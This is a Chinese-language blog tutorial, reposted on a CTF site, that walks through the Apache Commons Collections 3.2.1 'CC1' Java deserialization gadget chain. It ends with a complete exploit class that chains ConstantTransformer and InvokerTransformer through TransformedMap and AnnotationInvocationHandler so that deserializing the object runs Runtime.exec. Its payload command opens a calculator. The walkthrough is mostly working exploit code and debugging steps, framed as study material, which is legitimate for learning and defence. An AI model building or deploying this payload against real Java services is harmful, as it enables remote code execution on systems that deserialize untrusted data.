Commons Collections1 利用链分析笔记

渗透技巧 1年前 (2023) admin
259 0 0

cc系列学习视频参考b站 白日梦组长

环境下载

环境jdk 8u65

https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

然后下载sun包,点击zip

https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

下载后解压,把 jdk-af660750b2f4/src/share/classes/sun 放到jdk中src文件夹中,默认有个src.zip 需要先解压             

Commons Collections1 利用链分析笔记

             

然后创建maven项目

把src文件加载进来

Commons Collections1 利用链分析笔记

             

导入依赖                           

<dependencies>        <dependency>            <groupId>commons-collections</groupId>            <artifactId>commons-collections</artifactId>            <version>3.2.1</version>        </dependency>    </dependencies>

                     

然后下载源码

Commons Collections1 利用链分析笔记             

环境准备完成。

我这里就不过多解释cc链了

这里在唠叨一下,反序列化漏洞

这里借用白日梦组长的图

反序列化原理

反序列化的原理是,类实现Serializable接口,接收任意对象执行readObject方法。

那如何找漏洞点?

结合之前代码审计的思路,比如关键字寻找exec,然后查找 那个方法调用了exec函数,然后又是那个类调用了这个方法。

如下图

a方法执行了readObject,在方法中有个o方法又调用了aaa,查找aaa发现里面还有一个o2.xxx 最终找到exec危险函数。

反序列化中离不开的两个东西,一个是map集合,一个是反射。

如果对反射不太了解,可以参考之前的博文

反射教程

Commons Collections1 利用链分析笔记

             

命令执行的方式

分析之前,先捋一下,java中如何执行命令

常规命令执行

Runtime.getRuntime().exec("open -a calculator");


通过反射执行命令

ClassaClass = Runtime.class;              Runtime r = Runtime.getRuntime();              Method exec = aClass.getMethod("exec", String.class);              exec.invoke(r,"open -a calculator");

通过Transformer执行命令

Runtime r = Runtime.getRuntime();              new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a calculator"} ).transform(r);

通过上面三种方式,是不是稍微好理解了。

漏洞分析之Transformer

那么就开始分析漏洞了,在CC1这条链中,Transformer是一个接口

Commons Collections1 利用链分析笔记

InvokerTransformer 实现Transformer接口,在实例化时需要传入三个参数(方法名,参数类型,参数列表),回调其transform方法即可回调input对象的相应方法(用于调用任意方法命令执行):

这里就是反射调用的代码,传递的三个参数代入进来就是exec,r,calc

Commons Collections1 利用链分析笔记           

Commons Collections1 利用链分析笔记

             

然后查找调用关系,这里可能有个疑问,那么多的的调用,为什么找最后一个,因为反序列化离不开map集合

Commons Collections1 利用链分析笔记


这里的checkSetValue方法需要传入一个value,然后回调给Transformer

Commons Collections1 利用链分析笔记

protected Object checkSetValue(Object value) {                  return valueTransformer.transform(value);              }

回找valueTransformer参数在哪里,这里用的protected修饰符,无法直接引用

Commons Collections1 利用链分析笔记   

关于 public private protected default也就是不写 他们四个的区别我这边简单阐述下

default (即默认,什么也不写): 在同一包内可见,不使用任何修饰符。使用对象:类、接口、变量、方法。

private : 在同一类内可见。使用对象:变量、方法。注意:不能修饰类(外部类)

public : 对所有类可见。使用对象:类、接口、变量、方法

protected : 对同一包内的类和所有子类可见。使用对象:变量、方法。注意:不能修饰类(外部类)

再接着找TransformedMap能够被调用访问的方法,这里有个decorate方法,传入map集合,在传入key和value。

Commons Collections1 利用链分析笔记

             

那么就可以通过decorate方法进行调用,然后传入map集合,key为空,value为invokerTransformer。

相当于间接访问checkSetValue方法中的valueTransformer.transform,即 new InvokerTransformer(“exec”,new Class[]{String.class},new Object[]{“open -a calculator”} ).transform(r);

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"});              HashMap<Object,Object> hashedMap = new HashMap();              TransformedMap.decorate(hashedMap,null,invokerTransformer);

然后再去找checkSetValue调用方法

Commons Collections1 利用链分析笔记


MapEntry类中的setValue里面调用checkSetValue,这里需要设置一个value值,通过Map的for循环设置

Commons Collections1 利用链分析笔记

             

中途代码验证

利用链完成了一半,尝试写代码进行验证       

 Runtime r = Runtime.getRuntime();               InvokerTransformer invokerTransformer = new InvokerTransformer("exec"new Class[]{String.class}, new Object[]{"open -a calculator"});               HashMaphashedMap = new HashMap();               hashedMap.put("key","bbb");               Mapmap = TransformedMap.decorate(hashedMap, null, invokerTransformer);               for (Map.Entry entry:map.entrySet()){                   entry.setValue(r);               }

打个断点可以看到,MapEntry中的键值对已经显示出来了

Commons Collections1 利用链分析笔记

             

这里的checkSetValue也存在数据,说明刚才的分析是对的

Commons Collections1 利用链分析笔记    

最后到达漏洞点

Commons Collections1 利用链分析笔记

             

寻找入口点

这里已经找到了setValue,完整的攻击链还差一步,寻找readObject

Commons Collections1 利用链分析笔记

             

在sun.reflect.annotation下发现了readObject方法

Commons Collections1 利用链分析笔记

             

遍历集合,获取key

Commons Collections1 利用链分析笔记             

查看最上面的代码

使用了class修饰 所以访问需要当前包下

构造方法传入两个参数,第一个是注解,第二个是map集合

Commons Collections1 利用链分析笔记


刚好是符合上面构造的exp的参数,集合map

这里需要使用反射加载才能调用这个构造方法

 InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"});               HashMap<Object,Object> hashedMap = new HashMap();               hashedMap.put("key","bbb");               Map<Object,Object> map = TransformedMap.decorate(hashedMap, null, invokerTransformer);               Class aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");               Constructor constructor = aClass.getDeclaredConstructor(Class.class, Map.class);               constructor.setAccessible(true);               Object o = constructor.newInstance(Override.class, map);               serializable(o);               unserializable("ser.bin");

大致是这样的,但是无法运行。

通过反射序列化Runtime类

反序列必须继承Serializable接口,Runtime 无法序列化

Commons Collections1 利用链分析笔记

setValue的值无法控制

Commons Collections1 利用链分析笔记

遍历map中需要绕过两个if判断

Commons Collections1 利用链分析笔记


解决三个问题

先解决Runtime问题

虽然Runtime无法序列化,但是Class是可以序列化的

Runtime.class

所以代码如下

Class c = Runtime.class;              Method getRuntime = c.getMethod("getRuntime", null);              Runtime r  = (Runtime) getRuntime.invoke(null, null);              Method exec = c.getMethod("exec", String.class);              exec.invoke(r,"open -a calculator");

   
             
转换一下              

Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);                      Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getMethod);                      new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a calculator"}).transform(runtime);

这里可以优化下,使用数组,有个类,这里的构造函数中里面传入数组即可

Commons Collections1 利用链分析笔记             

优化数组代码 

Transformer[] transformer  = new Transformer[]{                              new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),                              new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),                              new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"})                      };              ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);

最终代码

// 命令执行代码                      Transformer[] transformer  = new Transformer[]{                              new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),                              new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),                              new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"})                      };                      ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);              

//遍历map HashMap<Object,Object> hashedMap = new HashMap(); hashedMap.put("key","aaa"); Map<Object,Object> map = TransformedMap.decorate(hashedMap, null, chainedTransformer);

// 反射引用AnnotationInvocationHandler Class aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = aClass.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); Object o = constructor.newInstance(Override.class, map);

//序列化 serializable(o); unserializable("ser.bin");

在解决if判断

这里两个if 分别是检测key中的value是否为空,第二个if是判断参数是否强转。

这里打个断点调试下

这里的memberType是传入的注解 Override,成员变量为空

Commons Collections1 利用链分析笔记


这里的memberValue是map中的Override,通过这个Override寻找这个value,下一步后,直接跳出判断,

Commons Collections1 利用链分析笔记

             

override是单独的接口,没有成员方法,这里换成其他注解 target

Commons Collections1 利用链分析笔记             

发现他有个成员方法,value

Commons Collections1 利用链分析笔记             

替换后重新断点,发现找到了参数

Commons Collections1 利用链分析笔记             

Commons Collections1 利用链分析笔记


这里第二个if也成功绕过

Commons Collections1 利用链分析笔记

             

然后就是第三个参数是否可控,点击setValue 进来,跳转到transformmap中的check方法,value为固定的,无法控制执行任意类

Commons Collections1 利用链分析笔记

             

但在一开始查找transform,会有一个ClosureTransformer类,这里的transform传递的参数不论是什么,都会返回一个常量,因此通过这个进行覆盖。

原本调用valueTransformer.transform(Object),中途在换 ClosureTransformer.transform(Object) 只要最终调用到transform(Object)就可以执行任意类。

Commons Collections1 利用链分析笔记


在数组中添加一下代码,把value替换为Runtime.class即可执行命令

new ConstantTransformer(Runtime.class)

现在屡屡,这就是最终的调用链,在最终调用transform的时候,用的是不同类的同名函数。

Commons Collections1 利用链分析笔记             

最终exp

package com.test.cc;                        import org.apache.commons.collections.Transformer;              import org.apache.commons.collections.functors.ChainedTransformer;              import org.apache.commons.collections.functors.ConstantTransformer;              import org.apache.commons.collections.functors.InvokerTransformer;              import org.apache.commons.collections.map.TransformedMap;              import java.io.*;              import java.lang.annotation.Target;              import java.lang.reflect.Constructor;              import java.util.HashMap;              import java.util.Map;              

public class Demo { public static void main(String[] args) throws Exception { // 命令执行代码 Transformer[] transformer = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);

//遍历map HashMap<Object,Object> hashedMap = new HashMap(); hashedMap.put("value","aaa"); Map<Object,Object> map = TransformedMap.decorate(hashedMap, null, chainedTransformer);

// 反射引用AnnotationInvocationHandler Class aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = aClass.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); Object o = constructor.newInstance(Target.class, map);

//序列化 serializable(o); unserializable("ser.bin"); } public static void serializable(Object o) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(o); } public static Object unserializable(String filename) throws Exception{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object o = ois.readObject(); return o; } }                                                                                        Method.invoke()                                                                                                                       Runtime.exec()

Ysoserial 用的是LazyMap,我们分析的是TransformedMap,中间稍微有点不太一样

ObjectInputStream.readObject()  AnnotationInvocationHandler.readObject()    Map(Proxy).entrySet()      AnnotationInvocationHandler.invoke()        LazyMap.get()          ChainedTransformer.transform()            ConstantTransformer.transform()            InvokerTransformer.transform()              Method.invoke()                Class.getMethod()            InvokerTransformer.transform()              Method.invoke()                Runtime.getRuntime()            InvokerTransformer.transform()              Method.invoke()                Runtime.exe

总结

在学习CC链的时候,最主要的还是动手练习,哪怕跟着视频抄,也会有收获。

原文始发于微信公众号(轩公子谈技术):Commons Collections1 利用链分析笔记

版权声明:admin 发表于 2023年2月23日 上午11:05。
转载请注明:Commons Collections1 利用链分析笔记 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...